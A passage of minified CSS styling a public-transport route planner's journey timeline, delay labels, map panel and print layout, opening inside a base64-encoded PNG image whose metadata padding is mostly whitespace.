gICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8P3hwYWNrZXQgZW5kPSJ3Ij8+lZVJdgAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAeElEQVR42uzOwQnCQBAF0JfBAtKE2ELOIhZgNULuIWVsBSlALMASAjYRsID14Ioikdw8+WAu8z/DVCklWKPHzsMZR1xX2OCC2ssBWzSB7iN8qtHF29k5+7AgykPfnAItpplwQhsY0WDArcxQdmOVc1784V/4SeE+AHPeFTXo+CuOAAAAAElFTkSuQmCC");border:none;width:4px;top:10px;height:100%;background-repeat:repeat;background-size:100%}@media print{.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot:before,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot:after,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot:after,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot:before{width:auto;background:none;border-bottom:none;border-left-width:3px;border-left-style:dashed}}@media (min-width:650px){.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot{width:30px;height:100%}.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot .timeline__dot__icon-wrapper,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot .timeline__dot__icon-wrapper{width:30px;height:30px}.planner-dtl__item--transfer.planner-dtl__item--disabled .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--transfer.planner-dtl__item--onhold .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--transfer.planner-dtl__item--remove .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--walk.planner-dtl__item--disabled .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--walk.planner-dtl__item--onhold .timeline__dot .timeline__dot__icon-wrapper .icon,.planner-dtl__item--walk.planner-dtl__item--remove .timeline__dot .timeline__dot__icon-wrapper .icon{width:100%;height:100%;padding:5px}}.planner-dtl__item.is-partially-past,.planner-dtl__item.is-partially-past .planner-dtl__detail,.planner-dtl__item.is-past,.planner-dtl__item.is-past .planner-dtl__detail{color:#a0a0a0}.planner-dtl__item.is-partially-past .planner-dtl__timeline .timeline__dot__icon-wrapper .icon,.planner-dtl__item.is-past .planner-dtl__timeline .timeline__dot__icon-wrapper .icon{background:#a0a0a0}.planner-dtl__item.is-partially-past .planner-dtl__timeline .timeline__dot-transfer-content.shade,.planner-dtl__item.is-past .planner-dtl__timeline .timeline__dot-transfer-content.shade{border-color:#a0a0a0}.planner-dtl__item.is-partially-past .planner-dtl__content .planner-dtl__lbl a,.planner-dtl__item.is-past .planner-dtl__content .planner-dtl__lbl a{color:gray}.planner-dtl__item.is-partially-past.route-visible .planner-dtl__timeline .timeline__dot:before,.planner-dtl__item.is-past.route-visible .planner-dtl__timeline .timeline__dot:before{border-color:#a0a0a0;display:block}.planner-dtl__item.planner-head{color:#006ab3;margin-bottom:20px;font-size:16px;font-weight:700}.planner-dtl__item.planner-head div:not(:last-child){width:100px;text-align:left}@media (max-width:991px){.planner-dtl__item.planner-head div:not(:last-child){width:20%}}.planner-dtl__item.planner-head div:last-child{margin-left:60px}@media (max-width:991px){.planner-dtl__item.planner-head div:last-child{margin-left:50px}}.planner-dtl__time{width:50px;text-align:right;position:relative;font-weight:700;font-size:16px;line-height:1.6em}.planner-dtl__time .planner__delay{color:#df3603}.planner-dtl__time .planner__delay--green{color:#3d8704}.planner-dtl__arrival{width:100px;text-align:left;position:relative;font-weight:700;font-size:16px;line-height:1.6em}@media (max-width:991px){.planner-dtl__arrival{width:20%}}.planner-dtl__arrival .delay-txt{font-size:14px;color:#df3603}.planner-dtl__departure{width:100px;text-align:left;position:relative;font-weight:700;font-size:16px;line-height:1.6em}@media (max-width:991px){.planner-dtl__departure{width:20%}}.planner-dtl__departure .delay-txt{font-size:14px;color:#df3603}.planner-dtl .planner__delay{display:block;position:relative}.planner-dtl .planner__delay--black{color:#3a3a3a}.planner-dtl__timeline{display:block;position:relative;padding:0 10px;width:45px;max-width:45px}.planner-dtl__timeline .timeline__dot{display:block;position:absolute;top:0;bottom:0}.planner-dtl__content{width:calc(100% - 110px);padding-bottom:40px;position:relative}.planner-dtl__content p{color:#8c8c8c;clear:both}.planner-dtl__lbl{font-weight:700;font-size:16px;line-height:1.6em;float:left}.planner-dtl__detail{font-size:14px;line-height:1.6em}.planner-dtl__dropdown{overflow:visible}.planner-dtl__dropdown.dropdown--open .dropdown__list{margin-top:4px}.planner-dtl__content .planner-dtl__dropdown{margin-left:-95px}.planner-dtl__dropdown li:before{display:none}.planner-dtl__dropdown .dropdown__time:before{position:absolute;left:77px;top:0;display:none;content:"";border-left-width:3px;border-left-style:solid;height:100%;transform:translateX(50%)}@media (max-width:991px){.planner-dtl__dropdown .dropdown__time:before{left:67px}}@media (max-width:649px){.planner-dtl__dropdown .dropdown__time:before{left:64.8px}}.planner-dtl__dropdown .dropdown__item:last-child .dropdown__time:before{height:calc(100% + 37px)}.planner-dtl__dropdown .dropdown__lbl:after,.planner-dtl__dropdown .dropdown__lbl:before{content:"";position:absolute;border-radius:50%;left:9px;top:0;width:18px;height:18px}.planner-dtl__dropdown .dropdown__lbl:after{top:4px;left:13px;width:10px;height:10px;background:#fff}.planner-dtl__dropdown .link{font-size:14px;margin-left:95px}.planner-dtl__dropdown .icon{background:transparent}.planner-dtl__dropdown--line{padding:0;position:relative}.planner-dtl__dropdown--line:before{content:"";width:3px;position:absolute;top:10px;bottom:25px;left:66px;background:currentColor}.planner-dtl__dropdown--line li{padding:0}.planner-dtl__dropdown--line .dropdown__item:last-of-type .dropdown__lbl:after{display:none}.planner-dtl__track{font-weight:700;font-size:16px;line-height:1.6em;float:right}.planner-dtl__detail{font-style:italic;display:block;margin:5px 0;color:#333;clear:both}.planner-dtl__message,.planner-dtl__warning{color:#df3603;font-style:normal;font-size:16px;display:block}.planner-dtl__message{color:#006ab3}.planner-dtl--disabled .timeline__dot .icon,.planner-dtl--disabled .timeline__dot:before,.planner-dtl__item--onhold .timeline__dot .icon,.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--remove .timeline__dot .icon,.planner-dtl__item--remove .timeline__dot:before{background:#a0a0a0!important}@media print{.planner-dtl--disabled .timeline__dot .icon,.planner-dtl--disabled .timeline__dot:before,.planner-dtl__item--onhold .timeline__dot .icon,.planner-dtl__item--onhold .timeline__dot:before,.planner-dtl__item--remove .timeline__dot .icon,.planner-dtl__item--remove .timeline__dot:before{background:#fff!important}}.planner-dtl--disabled .timeline__dot-transfer-content,.planner-dtl--disabled .timeline__dot:after,.planner-dtl__item--onhold .timeline__dot-transfer-content,.planner-dtl__item--onhold .timeline__dot:after,.planner-dtl__item--remove .timeline__dot-transfer-content,.planner-dtl__item--remove .timeline__dot:after{border-color:#a0a0a0}.planner-dtl--disabled .icon--wagons,.planner-dtl__item--onhold .icon--wagons,.planner-dtl__item--remove .icon--wagons{fill:#a0a0a0}.planner-dtl--disabled,.planner-dtl--disabled .link,.planner-dtl--disabled .planner-dtl__track,.planner-dtl__item--onhold,.planner-dtl__item--onhold .link,.planner-dtl__item--onhold .planner-dtl__track,.planner-dtl__item--remove,.planner-dtl__item--remove .link,.planner-dtl__item--remove .planner-dtl__track{color:#a0a0a0!important}.planner-dtl__item--remove .planner-dtl__detail:first-line,.planner-dtl__item--remove .planner-dtl__lbl:first-line,.planner-dtl__item--remove .planner-dtl__time:first-line,.planner-dtl__item--remove .planner-dtl__track:first-line{text-decoration:line-through}@media (max-width:399px){.planner-dtl__track{display:block;clear:both;float:none}.planner-dtl__item:last-of-type .timeline__dot:before{bottom:-5px}}@media (min-width:650px){.planner-dtl__timeline{-ms-flex:1;flex:1}}@media (max-width:650px){.planner-dtl__list{margin-bottom:0}}@media (min-width:650px){.planner-dtl__dropdown .dropdown__lbl:before{left:11px}.planner-dtl__dropdown .dropdown__lbl:after{left:15px}.planner-dtl__dropdown--line:before{left:69px}}@media (max-width:991px){.planner-dtl__timeline{width:50px;max-width:50px}}@media (min-width:992px){.planner-dtl{-ms-flex-direction:column;flex-direction:column}.planner-dtl:not(.planner-dtl--print){display:-ms-flexbox;display:flex}.planner-dtl__list{padding-bottom:0}.planner-dtl__lbl,.planner-dtl__time,.planner-dtl__track{font-size:18px}.planner-dtl__lbl{float:left;margin-right:25px}.planner-dtl__track{float:right}.planner-dtl__timeline{padding:0 15px;width:60px;max-width:60px}.planner-dtl__content .planner-dtl__dropdown{margin-left:-110px}.planner-dtl__dropdown .dropdown__lbl:before{left:21px}.planner-dtl__dropdown .dropdown__lbl:after{left:25px}}@media print and (min-width:992px){.planner-dtl__dropdown .dropdown__lbl:after{width:12px;height:12px;left:24px;top:8px}}@media (min-width:992px){.planner-dtl__dropdown .link{font-size:16px;margin-left:110px}.planner-dtl__dropdown--line:before{left:79px}.planner-dtl__detail{margin:0;font-size:16px}}@media (min-width:1280px){.planner-dtl{padding-left:25px}}.planner-delay .planner-dtl__content{width:calc(100% - 60px - 100px - 100px)}@media (max-width:991px){.planner-delay .planner-dtl__content{width:calc(100% - 20% - 20% - 60px)}}.custom-planner-route-detailed .planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot:after,.custom-planner-route-detailed .planner-dtl__item:not(.planner-dtl__item--walk):not(.planner-dtl__item--transfer) .timeline__dot:before{z-index:1;height:calc(100% - 10px)}.custom-planner-route-detailed:not(.planner-delay) .timeline__dot-transfer-content{background-color:inherit}.planner-suggestions{width:95%;padding-bottom:40px;position:relative;margin:30px auto 0}@media (min-width:650px){.planner-suggestions{width:calc(100% - 110px);margin-left:110px}}@media print{.planner-suggestions{width:100%;margin:0}}.planner-options__item{margin-bottom:25px}.planner-options__item h4{font-size:18px}.planner-options__item--list:after,.planner-options__item--list:before{content:" ";display:table}.planner-options__item--list:after{clear:both}.planner-options__item--list .chk{float:left;width:50%}.planner-options__trigger{padding-right:35px}.planner-options__trigger .filter{display:none;right:0;left:auto;fill:#fff;width:24px;height:24px;top:0;transform:none!important}.planner-options__trigger.active .filter{display:block}.planner-options__close{display:none}.sidebar--panel .planner-options__close{display:block}@media (min-width:650px) and (max-width:991px){.planner-options__item--list .chk{width:25%}.planner-options__close.show{display:block}}@media (min-width:992px){.planner-options__close,.planner-options__confirm,.sidebar--panel .planner-options__close{display:none}}.planner-map{margin:20px 0;width:100%}.planner-map__content{max-height:100px;width:100%;overflow:hidden;position:relative}.planner-map__map{width:100%;height:100%}.planner-map__btn{display:none;position:absolute;top:10px;width:30px}.planner-map__btn button{width:30px;height:30px;padding:0;font-size:20px;box-shadow:none;border:1px solid #f1f5f5;margin-bottom:10px}.planner-map__btn--left{left:10px}.planner-map__btn--right{right:10px}.planner-map__cta button{border:2px solid #f1f5f5;border-radius:0 0 5px 5px;box-shadow:none}.planner-map__cta button:hover{box-shadow:none}.planner-map__cta .icon{display:inline-block;position:relative;width:12px;height:12px}.planner-map.open .planner-map__btn{display:block}.planner-map.open .planner-map__content{max-height:100%}@media (min-width:650px){.planner-map__btn{width:45px}.planner-map__btn button{width:45px;height:45px;font-size:30px}}.planner-placeholder{width:100%;padding:20px;background-size:cover}.planner-placeholder img{display:block;width:100%;max-width:360px;margin:0 auto}@media (min-width:650px){.planner-placeholder{padding:30px 25px}}.planner__input--datetime .journey-datetime{position:absolute;left:0;z-index:-1;opacity:0;height:50px;margin-left:20px;margin-right:20px;width:calc(100% - 40px)}.planner__input--datetime .journey-date,.planner__input--datetime .journey-time{position:absolute;left:0;z-index:1;opacity:0;height:50px;top:11px;width:100%}@media print{.routeplanner-detail :after,.routeplanner-detail :before,.routeplanner-detail :first-letter,.routeplanner-detail blockquote:first-line,.routeplanner-detail div:first-line,.routeplanner-detail li:first-line,.routeplanner-detail p:first-line{background:transparent!important}.routeplanner-detail .page,.routeplanner-detail main{display:none}.routeplanner-detail .sidebar{width:100%!important;background:none!important;display:block!important}.routeplanner-detail .sidebar__stack-item{display:none!important}.routeplanner-detail .sidebar-panel-wrapper{width:100%!important;left:auto!important;position:static!important;overflow:visible!important}.routeplanner-detail .sidebar-panel-wrapper .sidebar-panel{width:100%!important;position:static!important;overflow:visible!important;transform:none!important}.routeplanner-detail .sidebar-panel-wrapper .sidebar-panel .sidebar-panel__content>*{display:none!important}.routeplanner-detail .sidebar-panel-wrapper .sidebar-panel .sidebar-panel__content .planner-dtl.active{display:block!important}.routeplanner-detail .sidebar-panel-wrapper .sidebar-panel .sidebar-panel__content .planner-dtl.active .planner-suggestions{display:none}.routeplanner-detail .sidebar-panel-wrapper .sidebar-panel .sidebar-panel__content .sidebar-panel__header--print.active,.routeplanner-detail .sidebar-panel-wrapper .sidebar-panel .sidebar-panel__content>.alert.active{display:block!important}.routeplanner-detail .sidebar-panel-wrapper .sidebar-panel .sidebar-panel__qrcode--print{display:block!important;text-align:center}.routeplanner-detail .sidebar-panel-wrapper .sidebar-panel .sidebar-panel__qrcode--print img{width:230px}}@media print{.route-planner-page .navigation-bar{display:none}.route-planner{display:block}.route-planner :after:not(.dropdown__lbl),.route-planner :before:not(.dropdown__lbl),.route-planner :first-letter,.route-planner blockquote:first-line,.route-planner div:first-line,.route-planner li:first-line,.route-planner p:first-line{background:transparent!important}.route-planner>*{display:none}.route-planner .route-planner-route-detail{display:block;width:100%!important;left:auto!important;position:static!important;overflow:visible!important;transform:none!important}.route-planner .route-planner-route-detail>*{display:none!important}.route-planner .route-planner-route-detail .planner-dtl.active{display:block!important}.route-planner .route-planner-route-detail .planner-dtl.active .planner-suggestions{display:none}.route-planner .route-planner-route-detail .sidebar-panel__header--print.active{display:block!important}.route-planner .route-planner-route-detail>.alert.active{display:-ms-flexbox!important;display:flex!important}}@media print{.timeline__dot .icon{fill:#000;background:#fff!important;border:2px solid #000;border-radius:45%!important}.timeline__dot svg{padding:4px}}.popup{position:fixed;top:0;left:0;right:0;bottom:-1px;opacity:0;overflow:auto;z-index:2999;background:rgba(0,0,0,.5)}.popup__logo{color:#3a3a3a;position:absolute;top:20px;left:20px}.popup__logo .icon{width:70px;height:70px}.popup.popup--native .popup__container{max-width:100%;width:100%;position:absolute;bottom:0;border-radius:15px 15px 0 0}.popup.popup--native .popup__container .popup__content{padding:5px 10px 15px}.popup.popup--native .popup__container .popup__content .mobile-header{border-bottom:2px 